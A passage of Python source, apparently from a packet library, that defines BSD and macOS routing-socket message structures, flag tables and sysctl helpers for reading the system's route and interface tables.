\"RTM_IFANNOUNCE\",\n        0x10: \"RTM_DESYNC\",\n        0x11: \"RTM_INVALIDATE\",\n    }\nelif DARWIN:\n    _RTM_TYPE = {\n        # man 4 route\n        0x01: \"RTM_ADD\",\n        0x02: \"RTM_DELETE\",\n        0x03: \"RTM_CHANGE\",\n        0x04: \"RTM_GET\",\n        0x05: \"RTM_LOSING\",\n        0x06: \"RTM_REDIRECT\",\n        0x07: \"RTM_MISS\",\n        0x08: \"RTM_LOCK\",\n        0x09: \"RTM_OLDADD\",\n        0x0A: \"RTM_OLDDEL\",\n        0x0B: \"RTM_RESOLVE\",\n        0x0C: \"RTM_NEWADDR\",\n        0x0D: \"RTM_DELADDR\",\n        0x0E: \"RTM_IFINFO\",\n        0x0F: \"RTM_NEWMADDR\",\n        0x10: \"RTM_DELMADDR\",\n        0x12: \"RTM_IFINFO2\",\n        0x13: \"RTM_NEWMADDR2\",\n        0x14: \"RTM_GET2\",\n    }\nelse:  # FreeBSD\n    _RTM_TYPE = {\n        # man 4 route\n        0x01: \"RTM_ADD\",\n        0x02: \"RTM_DELETE\",\n        0x03: \"RTM_CHANGE\",\n        0x04: \"RTM_GET\",\n        0x05: \"RTM_LOSING\",\n        0x06: \"RTM_REDIRECT\",\n        0x07: \"RTM_MISS\",\n        0x08: \"RTM_LOCK\",\n        0x09: \"RTM_OLDADD\",\n        0x0A: \"RTM_OLDDEL\",\n        0x0B: \"RTM_RESOLVE\",\n        0x0C: \"RTM_NEWADDR\",\n        0x0D: \"RTM_DELADDR\",\n        0x0E: \"RTM_IFINFO\",\n        0x0F: \"RTM_NEWMADDR\",\n        0x10: \"RTM_DELMADDR\",\n        0x11: \"RTM_IFANNOUNCE\",\n        0x12: \"RTM_IEEE80211\",\n    }\n\n_RTM_ADDRS = {\n    0x01: \"RTA_DST\",\n    0x02: \"RTA_GATEWAY\",\n    0x04: \"RTA_NETMASK\",\n    0x08: \"RTA_GENMASK\",\n    0x10: \"RTA_IFP\",\n    0x20: \"RTA_IFA\",\n    0x40: \"RTA_AUTHOR\",\n    0x80: \"RTA_BRD\",\n    0x100: \"RTA_SRC\",\n    0x200: \"RTA_SRCMASK\",\n    0x400: \"RTA_LABEL\",\n    0x800: \"RTA_BFD\",\n    0x1000: \"RTA_DNS\",\n    0x2000: \"RTA_STATIC\",\n    0x4000: \"RTA_SEARCH\",\n}\n\n_RTM_FLAGS = {\n    0x01: \"RTF_UP\",\n    0x02: \"RTF_GATEWAY\",\n    0x04: \"RTF_HOST\",\n    0x08: \"RTF_REJECT\",\n    0x10: \"RTF_DYNAMIC\",\n    0x20: \"RTF_MODIFIED\",\n    0x40: \"RTF_DONE\",\n    0x80: \"RTF_MASK\",  # NetBSD\n    0x100: \"RTF_CONNECTED\",  # NetBSD\n    0x200: \"RTF_XRESOLVE\",\n    0x400: \"RTF_LLDATA\",\n    0x800: \"RTF_STATIC\",\n    0x1000: \"RTF_BLACKHOLE\",\n    0x4000: \"RTF_PROTO2\",\n    0x8000: \"RTF_PROTO1\",\n    **(\n        {\n            0x10000: \"RTF_PRCLONING\",\n            0x20000: \"RTF_WASCLONED\",\n        }\n        if DARWIN\n        else {\n            0x10000: \"RTF_SRC\",  # NetBSD\n            0x20000: \"RTF_ANNOUNCE\",  # NetBSD\n        }\n    ),\n    0x40000: \"RTF_PROTO3\",\n    0x80000: \"RTF_FIXEDMTU\",\n    0x100000: \"RTF_PINNED\",\n    0x200000: \"RTF_LOCAL\",\n    0x400000: \"RTF_BROADCAST\",\n    0x800000: \"RTF_MULTICAST\",\n    **(\n        {\n            0x1000000: \"RTF_IFSCOPE\",\n            0x2000000: \"RTF_CONDEMNED\",\n            0x4000000: \"RTF_IFREF\",\n            0x8000000: \"RTF_PROXY\",\n            0x10000000: \"RTF_ROUTER\",\n            0x20000000: \"RTF_DEAD\",\n            0x40000000: \"RTF_GLOBAL\",\n        }\n        if DARWIN\n        else {\n            0x1000000: \"RTF_STICKY\",\n            0x4000000: \"RTF_RNH_LOCKED\",  # deprecated\n            0x8000000: \"RTF_GWFLAG_COMPAT\",\n        }\n    ),\n}\n\n_IFCAP = {\n    0x00000001: \"IFCAP_CSUM_IPv4\",\n    0x00000002: \"IFCAP_CSUM_TCPv4\",\n    0x00000004: \"IFCAP_CSUM_UDPv4\",\n    0x00000010: \"IFCAP_VLAN_MTU\",\n    0x00000020: \"IFCAP_VLAN_HWTAGGING\",\n    0x00000080: \"IFCAP_CSUM_TCPv6\",\n    0x00000100: \"IFCAP_CSUM_UDPv6\",\n    0x00001000: \"IFCAP_TSOv4\",\n    0x00002000: \"IFCAP_TSOv6\",\n    0x00004000: \"IFCAP_LRO\",\n    0x00008000: \"IFCAP_WOL\",\n}\n\n# Common Header\n\n\nclass pfmsghdr(Packet):\n    fields_desc = [\n        Field(\"rtm_msglen\", 0, fmt=\"=H\"),\n        ByteField(\"rtm_version\", 5),\n        ByteEnumField(\"rtm_type\", 0, _RTM_TYPE),\n    ] + (\n        # It begins... the IFs apocalypse\n        [Field(\"rtm_hdrlen\", 0, fmt=\"=H\")]\n        if OPENBSD\n        else []\n    )\n\n    if OPENBSD:\n\n        def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]:\n            if self.rtm_msglen < 6:\n                return s, b\"\"\n            return s[: self.rtm_msglen - 6], s[self.rtm_msglen - 6 :]\n\n    else:\n\n        def extract_padding(self, s: bytes) -> Tuple[bytes, Optional[bytes]]:\n            if self.rtm_msglen < 4:\n                return s, b\"\"\n            return s[: self.rtm_msglen - 4], s[self.rtm_msglen - 4 :]\n\n\nbind_layers(pfmsghdr, conf.raw_layer, rtm_msglen=0)  # padding\n\n\n# END\n\n\nclass sockaddr(Packet):\n    fields_desc = [\n        # socket.h\n        ByteField(\"sa_len\", 0),\n        ByteEnumField(\"sa_family\", 0, socket.AddressFamily),\n        # sockaddr_in\n        ConditionalField(\n            Field(\"sin_port\", 0, fmt=\"=H\"), lambda pkt: pkt.sa_family == socket.AF_INET\n        ),\n        ConditionalField(\n            IPField(\"sin_addr\", 0), lambda pkt: pkt.sa_family == socket.AF_INET\n        ),\n        ConditionalField(\n            StrFixedLenField(\"sin_zero\", \"\", length=8),\n            lambda pkt: pkt.sa_family == socket.AF_INET and pkt.sa_len > 7,\n        ),\n        # sockaddr_in6\n        ConditionalField(\n            Field(\"sin6_port\", 0, fmt=\"=H\"),\n            lambda pkt: pkt.sa_family == socket.AF_INET6,\n        ),\n        ConditionalField(\n            Field(\"sin6_flowinfo\", 0, fmt=\"=I\"),\n            lambda pkt: pkt.sa_family == socket.AF_INET6,\n        ),\n        ConditionalField(\n            IP6Field(\"sin6_addr\", \"::\"), lambda pkt: pkt.sa_family == socket.AF_INET6\n        ),\n        ConditionalField(\n            Field(\"sin6_scope_id\", 0, fmt=\"=I\"),\n            lambda pkt: pkt.sa_family == socket.AF_INET6,\n        ),\n        # sockaddr_dl\n        ConditionalField(\n            Field(\"sdl_index\", 0, fmt=\"=H\"), lambda pkt: pkt.sa_family == socket.AF_LINK\n        ),\n        ConditionalField(\n            Field(\"sdl_type\", 0, fmt=\"=B\"), lambda pkt: pkt.sa_family == socket.AF_LINK\n        ),\n        ConditionalField(\n            Field(\"sdl_nlen\", 0, fmt=\"=B\"), lambda pkt: pkt.sa_family == socket.AF_LINK\n        ),\n        ConditionalField(\n            Field(\"sdl_alen\", 0, fmt=\"=B\"), lambda pkt: pkt.sa_family == socket.AF_LINK\n        ),\n        ConditionalField(\n            Field(\"sdl_slen\", 0, fmt=\"=B\"), lambda pkt: pkt.sa_family == socket.AF_LINK\n        ),\n        ConditionalField(\n            StrLenField(\"sdl_iface\", \"\", length_from=lambda pkt: pkt.sdl_nlen),\n            lambda pkt: pkt.sa_family == socket.AF_LINK,\n        ),\n        ConditionalField(\n            MultipleTypeField(\n                [(MACField(\"sdl_addr\", None), lambda pkt: pkt.sdl_alen == 6)],\n                StrLenField(\"sdl_addr\", \"\", length_from=lambda pkt: pkt.sdl_alen),\n            ),\n            lambda pkt: pkt.sa_family == socket.AF_LINK,\n        ),\n        ConditionalField(\n            StrLenField(\"sdl_sel\", \"\", length_from=lambda pkt: pkt.sdl_slen),\n            lambda pkt: pkt.sa_family == socket.AF_LINK,\n        ),\n        ConditionalField(\n            XStrLenField(\n                \"sdl_data\",\n                \"\",\n                length_from=lambda pkt: max(\n                    pkt.sa_len - pkt.sdl_nlen - pkt.sdl_alen - pkt.sdl_slen - 8, 0\n                ),\n            ),\n            lambda pkt: pkt.sa_family == socket.AF_LINK,\n        ),\n        ConditionalField(\n            XStrLenField(\"sdl_pad\", b\"\", length_from=lambda pkt: 16 - pkt.sa_len),\n            lambda pkt: pkt.sa_len < 16 and pkt.sa_family == socket.AF_LINK,\n        ),\n        # others\n        ConditionalField(\n            XStrLenField(\n                \"sa_data\",\n                \"\",\n                length_from=lambda pkt: pkt.sa_len - 2 if pkt.sa_len >= 2 else 0,\n            ),\n            lambda pkt: pkt.sa_family\n            not in [\n                socket.AF_INET,\n                socket.AF_INET6,\n                socket.AF_LINK,\n            ],\n        ),\n    ]\n\n    def default_payload_class(self, payload: bytes) -> Type[Packet]:\n        return conf.padding_layer\n\n\nclass SockAddrsField(FieldListField):\n    holds_packets = 1\n\n    def __init__(self, name):\n        if not IS_64BITS or DARWIN:\n            align = 4\n        else:\n            align = 8\n        super(SockAddrsField, self).__init__(\n            name,\n            [],\n            PadField(PacketField(\"\", None, sockaddr), align),\n        )\n\n\nif OPENBSD:\n\n    class if_data(Packet):\n        # net/if.h\n        fields_desc = [\n            ByteField(\"ifi_type\", 0),\n            ByteField(\"ifi_addrlen\", 0),\n            ByteField(\"ifi_hdrlen\", 0),\n            ByteField(\"ifi_link_state\", 0),\n            Field(\"ifi_mtu\", 0, fmt=\"=I\"),\n            Field(\"ifi_metric\", 0, fmt=\"=I\"),\n            Field(\"ifi_rdomain\", 0, fmt=\"=I\"),\n            Field(\"ifi_baudrate\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ipackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ierrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_opackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_oerrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_collision\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ibytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_obytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_imcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_omcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_iqdrops\", 0, fmt=\"=Q\"),\n            Field(\"ifi_oqdrops\", 0, fmt=\"=Q\"),\n            Field(\"ifi_noproto\", 0, fmt=\"=Q\"),\n            FlagsField(\n                \"ifi_capabilities\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _IFCAP,\n            ),\n            StrFixedLenField(\"ifi_lastchange\", 0,\n                             length=16 if IS_64BITS else 8),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelif NETBSD:\n\n    class if_data(Packet):\n        # net/if.h\n        fields_desc = [\n            ByteField(\"ifi_type\", 0),\n            ByteField(\"ifi_addrlen\", 0),\n            ByteField(\"ifi_hdrlen\", 0),\n            Field(\"ifi_link_state\", 0, fmt=\"=I\"),\n            Field(\"ifi_mtu\", 0, fmt=\"=Q\"),\n            Field(\"ifi_metric\", 0, fmt=\"=Q\"),\n            Field(\"ifi_baudrate\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ipackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ierrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_opackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_oerrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_collision\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ibytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_obytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_imcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_omcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_iqdrops\", 0, fmt=\"=Q\"),\n            Field(\"ifi_noproto\", 0, fmt=\"=Q\"),\n            StrFixedLenField(\"ifi_lastchange\", 0,\n                             length=16 if IS_64BITS else 8),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelif DARWIN:\n\n    class if_data(Packet):\n        # if_var.h\n        fields_desc = [\n            ByteField(\"ifi_type\", 0),\n            ByteField(\"ifi_typelen\", 0),\n            ByteField(\"ifi_physical\", 0),\n            ByteField(\"ifi_addrlen\", 0),\n            ByteField(\"ifi_hdrlen\", 0),\n            ByteField(\"ifi_recvquota\", 0),\n            ByteField(\"ifi_xmitquota\", 0),\n            ByteField(\"ifi_unused\", 0),\n            Field(\"ifi_mtu\", 0, fmt=\"=I\"),\n            Field(\"ifi_metric\", 0, fmt=\"=I\"),\n            Field(\"ifi_baudrate\", 0, fmt=\"=I\"),\n            Field(\"ifi_ipackets\", 0, fmt=\"=I\"),\n            Field(\"ifi_ierrors\", 0, fmt=\"=I\"),\n            Field(\"ifi_opackets\", 0, fmt=\"=I\"),\n            Field(\"ifi_oerrors\", 0, fmt=\"=I\"),\n            Field(\"ifi_collision\", 0, fmt=\"=I\"),\n            Field(\"ifi_ibytes\", 0, fmt=\"=I\"),\n            Field(\"ifi_obytes\", 0, fmt=\"=I\"),\n            Field(\"ifi_imcasts\", 0, fmt=\"=I\"),\n            Field(\"ifi_omcasts\", 0, fmt=\"=I\"),\n            Field(\"ifi_iqdrops\", 0, fmt=\"=I\"),\n            Field(\"ifi_noproto\", 0, fmt=\"=I\"),\n            Field(\"ifi_recvtiming\", 0, fmt=\"=I\"),\n            Field(\"ifi_xmittiming\", 0, fmt=\"=I\"),\n            Field(\"ifi_lastchange\", 0, fmt=\"=Q\"),\n            Field(\"ifi_unused2\", 0, fmt=\"=I\"),\n            Field(\"ifi_hwassist\", 0, fmt=\"=I\"),\n            Field(\"ifi_reserved\", 0, fmt=\"=Q\"),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelse:\n    # FreeBSD\n\n    class if_data(Packet):\n        # net/if.h\n        fields_desc = [\n            ByteField(\"ifi_type\", 0),\n            ByteField(\"ifi_physical\", 0),\n            ByteField(\"ifi_addrlen\", 0),\n            ByteField(\"ifi_hdrlen\", 0),\n            ByteField(\"ifi_link_state\", 0),\n            ByteField(\"ifi_vhid\", 0),\n            Field(\"ifi_datalen\", 0, fmt=\"=H\"),\n            Field(\"ifi_mtu\", 0, fmt=\"=I\"),\n            Field(\"ifi_metric\", 0, fmt=\"=I\"),\n            Field(\"ifi_baudrate\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ipackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ierrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_opackets\", 0, fmt=\"=Q\"),\n            Field(\"ifi_oerrors\", 0, fmt=\"=Q\"),\n            Field(\"ifi_collision\", 0, fmt=\"=Q\"),\n            Field(\"ifi_ibytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_obytes\", 0, fmt=\"=Q\"),\n            Field(\"ifi_imcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_omcasts\", 0, fmt=\"=Q\"),\n            Field(\"ifi_iqdrops\", 0, fmt=\"=Q\"),\n            Field(\"ifi_oqdrops\", 0, fmt=\"=Q\"),\n            Field(\"ifi_noproto\", 0, fmt=\"=Q\"),\n            Field(\"ifi_hwassist\", 0, fmt=\"=Q\"),\n            Field(\"tt\", 0, fmt=\"=Q\"),\n            StrFixedLenField(\"tv\", 0,\n                             length=16 if IS_64BITS else 8),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\n\nif OPENBSD:\n\n    class if_msghdr(Packet):\n        fields_desc = [\n            Field(\"ifm_index\", 0, fmt=\"=H\"),\n            Field(\"ifm_tableid\", 0, fmt=\"=H\"),\n            Field(\"_ifm_pad\", 0, fmt=\"=H\"),\n            FlagsField(\n                \"ifm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            FlagsField(\n                \"ifm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _bsd_iff_flags,\n            ),\n            Field(\"ifm_xflags\", 0, fmt=\"=I\"),\n            PadField(\n                PacketField(\"ifm_data\", [], if_data),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelse:\n\n    class if_msghdr(Packet):\n        fields_desc = [\n            FlagsField(\n                \"ifm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            FlagsField(\n                \"ifm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _bsd_iff_flags,\n            ),\n            Field(\"ifm_index\", 0, fmt=\"=H\"),\n            Field(\"_ifm_spare1\", 0, fmt=\"=H\"),\n            PadField(\n                PacketField(\"ifm_data\", [], if_data),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\n\nbind_layers(pfmsghdr, if_msghdr, rtm_type=0x0E)\nif NETBSD:\n    bind_layers(pfmsghdr, if_msghdr, rtm_type=0x14)\n\n\nif OPENBSD:\n\n    class ifa_msghdr(Packet):\n        fields_desc = if_msghdr.fields_desc[:5] + [\n            Field(\"ifam_metric\", 0, fmt=\"=I\"),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelif NETBSD:\n\n    class ifa_msghdr(Packet):\n        fields_desc = [\n            Field(\"ifm_index\", 0, fmt=\"=H\"),\n            Field(\"_rtm_spare1\", 0, fmt=\"=H\"),\n            FlagsField(\n                \"ifm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _bsd_iff_flags,\n            ),\n            FlagsField(\n                \"ifm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            Field(\"ifam_pid\", 0, fmt=\"=I\"),\n            Field(\"ifam_addrflags\", 0, fmt=\"=I\"),\n            PadField(\n                Field(\"ifam_metric\", 0, fmt=\"=I\"),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelse:  # FreeBSD, Darwin\n\n    class ifa_msghdr(Packet):\n        fields_desc = if_msghdr.fields_desc[:4] + [\n            Field(\"ifam_metric\", 0, fmt=\"=I\"),\n            SockAddrsField(\"addrs\"),\n        ]\n\n\nbind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x0C)\nbind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x0D)\nif NETBSD:\n    bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x16)\n    bind_layers(pfmsghdr, ifa_msghdr, rtm_type=0x17)\n\n\nclass ifma_msghdr(Packet):\n    fields_desc = if_msghdr.fields_desc[:4]\n\n\nbind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x0F)\nbind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x10)\n\n\nclass if_announcemsghdr(Packet):\n    fields_desc = [\n        Field(\"ifan_index\", 0, fmt=\"=H\"),\n        StrField(\"ifan_name\", \"\"),\n        Field(\"ifan_what\", 0, fmt=\"=H\"),\n    ]\n\n\nbind_layers(pfmsghdr, ifma_msghdr, rtm_type=0x11)\n\n\nif OPENBSD:\n\n    class rt_metrics(Packet):\n        fields_desc = [\n            Field(\"rmx_pksent\", 0, fmt=\"=Q\"),\n            Field(\"rmx_expire\", 0, fmt=\"=q\"),\n            Field(\"rmx_locks\", 0, fmt=\"=I\"),\n            Field(\"rmx_mtu\", 0, fmt=\"=I\"),\n            Field(\"rmx_refcnt\", 0, fmt=\"=I\"),\n            Field(\"rmx_hopcount\", 0, fmt=\"=I\"),\n            Field(\"rmx_recvpipe\", 0, fmt=\"=I\"),\n            Field(\"rmx_sendpipe\", 0, fmt=\"=I\"),\n            Field(\"rmx_sshthresh\", 0, fmt=\"=I\"),\n            Field(\"rmx_rtt\", 0, fmt=\"=I\"),\n            Field(\"rmx_rttvar\", 0, fmt=\"=I\"),\n            Field(\"rmx_pad\", 0, fmt=\"=I\"),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelif NETBSD:\n\n    class rt_metrics(Packet):\n        fields_desc = [\n            Field(\"rmx_locks\", 0, fmt=\"=Q\"),\n            Field(\"rmx_mtu\", 0, fmt=\"=Q\"),\n            Field(\"rmx_hopcount\", 0, fmt=\"=Q\"),\n            Field(\"rmx_recvpipe\", 0, fmt=\"=Q\"),\n            Field(\"rmx_sendpipe\", 0, fmt=\"=Q\"),\n            Field(\"rmx_sshthresh\", 0, fmt=\"=Q\"),\n            Field(\"rmx_rtt\", 0, fmt=\"=Q\"),\n            Field(\"rmx_rttvar\", 0, fmt=\"=Q\"),\n            Field(\"rmx_expire\", 0, fmt=\"=Q\"),\n            Field(\"rmx_pksent\", 0, fmt=\"=Q\"),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelif DARWIN:\n\n    class rt_metrics(Packet):\n        fields_desc = [\n            Field(\"rmx_locks\", 0, fmt=\"=I\"),\n            Field(\"rmx_mtu\", 0, fmt=\"=I\"),\n            Field(\"rmx_hopcount\", 0, fmt=\"=I\"),\n            Field(\"rmx_expire\", 0, fmt=\"=i\"),\n            Field(\"rmx_recvpipe\", 0, fmt=\"=I\"),\n            Field(\"rmx_sendpipe\", 0, fmt=\"=I\"),\n            Field(\"rmx_sshthresh\", 0, fmt=\"=I\"),\n            Field(\"rmx_rtt\", 0, fmt=\"=I\"),\n            Field(\"rmx_rttvar\", 0, fmt=\"=I\"),\n            Field(\"rmx_pksent\", 0, fmt=\"=I\"),\n            StrFixedLenField(\"rmx_filler\", 0,\n                             length=16 if IS_64BITS else 8),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\nelse:\n    # FreeBSD\n\n    class rt_metrics(Packet):\n        fields_desc = [\n            Field(\"rmx_locks\", 0, fmt=\"=Q\"),\n            Field(\"rmx_mtu\", 0, fmt=\"=Q\"),\n            Field(\"rmx_hopcount\", 0, fmt=\"=Q\"),\n            Field(\"rmx_expire\", 0, fmt=\"=Q\"),\n            Field(\"rmx_recvpipe\", 0, fmt=\"=Q\"),\n            Field(\"rmx_sendpipe\", 0, fmt=\"=Q\"),\n            Field(\"rmx_sshthresh\", 0, fmt=\"=Q\"),\n            Field(\"rmx_rtt\", 0, fmt=\"=Q\"),\n            Field(\"rmx_rttvar\", 0, fmt=\"=Q\"),\n            Field(\"rmx_pksent\", 0, fmt=\"=Q\"),\n            Field(\"rmx_weight\", 0, fmt=\"=Q\"),\n            Field(\"rmx_nhidx\", 0, fmt=\"=Q\"),\n            StrFixedLenField(\"rmx_filler\", 0,\n                             length=16 if IS_64BITS else 8),\n        ]\n\n        def default_payload_class(self, payload: bytes) -> Type[Packet]:\n            return conf.padding_layer\n\n\nif OPENBSD:\n\n    class rt_msghdr(Packet):\n        fields_desc = [\n            Field(\"rtm_index\", 0, fmt=\"=H\"),\n            Field(\"rtm_tableid\", 0, fmt=\"=H\"),\n            ByteField(\"rtm_priority\", 0),\n            ByteField(\"rtm_mpls\", 0),\n            FlagsField(\n                \"rtm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            FlagsField(\n                \"rtm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_FLAGS,\n            ),\n            Field(\"rtm_fmask\", 0, fmt=\"=I\"),\n            Field(\"rtm_pid\", 0, fmt=\"=I\"),\n            Field(\"rtm_seq\", 0, fmt=\"=I\"),\n            Field(\"rtm_errno\", 0, fmt=\"=I\"),\n            Field(\"rtm_inits\", 0, fmt=\"=I\"),\n            PadField(\n                PacketField(\"rtm_rmx\", rt_metrics(), rt_metrics),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelif NETBSD:\n\n    class rt_msghdr(Packet):\n        fields_desc = [\n            Field(\"rtm_index\", 0, fmt=\"=H\"),\n            Field(\"_rtm_spare1\", 0, fmt=\"=H\"),\n            FlagsField(\n                \"rtm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_FLAGS,\n            ),\n            FlagsField(\n                \"rtm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            Field(\"rtm_pid\", 0, fmt=\"=I\"),\n            Field(\"rtm_seq\", 0, fmt=\"=I\"),\n            Field(\"rtm_errno\", 0, fmt=\"=I\"),\n            Field(\"rtm_use\", 0, fmt=\"=I\"),\n            PadField(\n                Field(\"rtm_inits\", 0, fmt=\"=I\"),\n                8,\n            ),\n            PadField(\n                PacketField(\"rtm_rmx\", rt_metrics(), rt_metrics),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelif DARWIN:\n\n    class rt_msghdr(Packet):\n        # actually rt_msghdr2 (we need parentflags)\n        fields_desc = [\n            Field(\"rtm_index\", 0, fmt=\"=H\"),\n            Field(\"_rtm_spare1\", 0, fmt=\"=H\"),\n            FlagsField(\n                \"rtm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_FLAGS,\n            ),\n            FlagsField(\n                \"rtm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            Field(\"rtm_refcnt\", 0, fmt=\"=I\"),\n            FlagsField(\n                \"rtm_parentflags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_FLAGS,\n            ),\n            Field(\"rtm_reserved\", 0, fmt=\"=I\"),\n            Field(\"rtm_use\", 0, fmt=\"=I\"),\n            Field(\"rtm_inits\", 0, fmt=\"=I\"),\n            PadField(\n                PacketField(\"rtm_rmx\", rt_metrics(), rt_metrics),\n                4,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\nelse:\n\n    class rt_msghdr(Packet):\n        fields_desc = [\n            Field(\"rtm_index\", 0, fmt=\"=H\"),\n            Field(\"_rtm_spare1\", 0, fmt=\"=H\"),\n            FlagsField(\n                \"rtm_flags\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_FLAGS,\n            ),\n            FlagsField(\n                \"rtm_addrs\",\n                0,\n                32 if BIG_ENDIAN else -32,\n                _RTM_ADDRS,\n            ),\n            Field(\"rtm_pid\", 0, fmt=\"=I\"),\n            Field(\"rtm_seq\", 0, fmt=\"=I\"),\n            Field(\"rtm_errno\", 0, fmt=\"=I\"),\n            Field(\"rtm_fmask\", 0, fmt=\"=I\"),\n            Field(\"rtm_inits\", 0, fmt=\"=Q\"),\n            PadField(\n                PacketField(\"rtm_rmx\", rt_metrics(), rt_metrics),\n                8,\n            ),\n            SockAddrsField(\"addrs\"),\n        ]\n\n\nbind_layers(pfmsghdr, rt_msghdr)  # else\n\n\nclass pfmsghdrs(Packet):\n    fields_desc = [\n        PacketListField(\n            \"msgs\",\n            [],\n            pfmsghdr,\n            # 65535 / len(pfmsghdr)\n            max_count=4096,\n        ),\n    ]\n\n\n# Utils\n\nCTL_NET = 4\nif DARWIN:\n    NET_RT_DUMP = 7  # NET_RT_DUMP2\nelse:\n    NET_RT_DUMP = 1\nNET_RT_TABLE = 5\nif NETBSD:\n    NET_RT_IFLIST = 6\nelse:\n    NET_RT_IFLIST = 3\n\n\ndef _sr1_bsdsysctl(mib) -> List[Packet]:\n    \"\"\"\n    Send / Receive a BSD sysctl\n    \"\"\"\n    # Request routes\n    # 1. estimate needed size\n    oldplen = ctypes.c_size_t()\n    r = LIBC.sysctl(\n        mib,\n        len(mib),\n        None,\n        ctypes.byref(oldplen),\n        None,\n        0,\n    )\n    if r != 0:\n        return None\n    # 2. ask for real\n    oldp = ctypes.create_string_buffer(oldplen.value)\n    r = LIBC.sysctl(\n        mib,\n        len(mib),\n        oldp,\n        ctypes.byref(oldplen),\n        None,\n        0,\n    )\n    if r != 0:\n        return None\n    # Parse response\n    return pfmsghdrs(bytes(oldp))\n\n\ndef read_routes():\n    \"\"\"\n    Read the IPv4 routes using PF_ROUTE\n    \"\"\"\n    mib = [\n        CTL_NET,\n        socket.PF_ROUTE,\n        0,\n        int(socket.AF_INET),\n        NET_RT_DUMP,\n        0,\n    ]\n    if not NETBSD and not DARWIN:\n        # NetBSD / OSX is missing the fib\n        if OPENBSD:\n            fib = 0  # default table\n        else:  # FreeBSD\n            fib = -1  # means 'all'\n        mib.append(fib)\n    mib = (ctypes.c_int * len(mib))(*mib)\n    resp = _sr1_bsdsysctl(mib)\n    if not resp:\n        return []\n    ifaces = _get_if_list()\n    routes = []\n    for msg in resp.msgs:\n        if msg.rtm_type != 0x4 and (not DARWIN or msg.rtm_type != 0x14):  # RTM_GET(2)\n            continue\n        # Parse route. addrs contains what addresses are present\n        flags = msg.rtm_flags\n        if not flags.RTF_UP:\n            continue\n        if DARWIN and flags.RTF_WASCLONED and msg.rtm_parentflags.RTF_PRCLONING:\n            # OSX needs filtering\n            continue\n        addrs = msg.rtm_addrs\n        net = 0\n        mask = 0xFFFFFFFF\n        gw = 0\n        iface = \"\"\n        addr = \"\"\n        metric = 1\n        i = 0\n        try:\n            if addrs.RTA_DST:\n                net = atol(msg.addrs[i].sin_addr)\n                i += 1\n            if addrs.RTA_GATEWAY:\n                if msg.addrs[i].sa_family == socket.AF_LINK:\n                    gw = \"0.0.0.0\"\n                else:\n                    gw = msg.addrs[i].sin_addr or \"0.0.0.0\"\n                i += 1\n            if 